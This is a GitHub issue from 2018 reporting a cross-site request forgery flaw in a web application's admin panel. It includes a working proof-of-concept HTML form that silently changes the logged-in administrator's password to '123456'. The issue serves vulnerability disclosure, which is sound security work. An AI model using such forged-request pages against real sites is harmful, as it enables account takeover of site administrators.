Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability to change the administrator account password #1

Open
boy-hack opened this issue Jul 16, 2018 · 0 comments

Comments

@boy-hack
Copy link

boy-hack commented Jul 16, 2018

After the administrator logged in, open the following page

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin/index.php?c=index&a=my" method="POST">
      <input type="hidden" name="data[password]" value="123456" />
      <input type="hidden" name="data[list_size]" value="10" />
      <input type="hidden" name="data[left_width]" value="150" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
@boy-hack boy-hack changed the title There is a CSRF vulnerability that can add the administrator account There is a CSRF vulnerability to change the administrator account password Jul 16, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant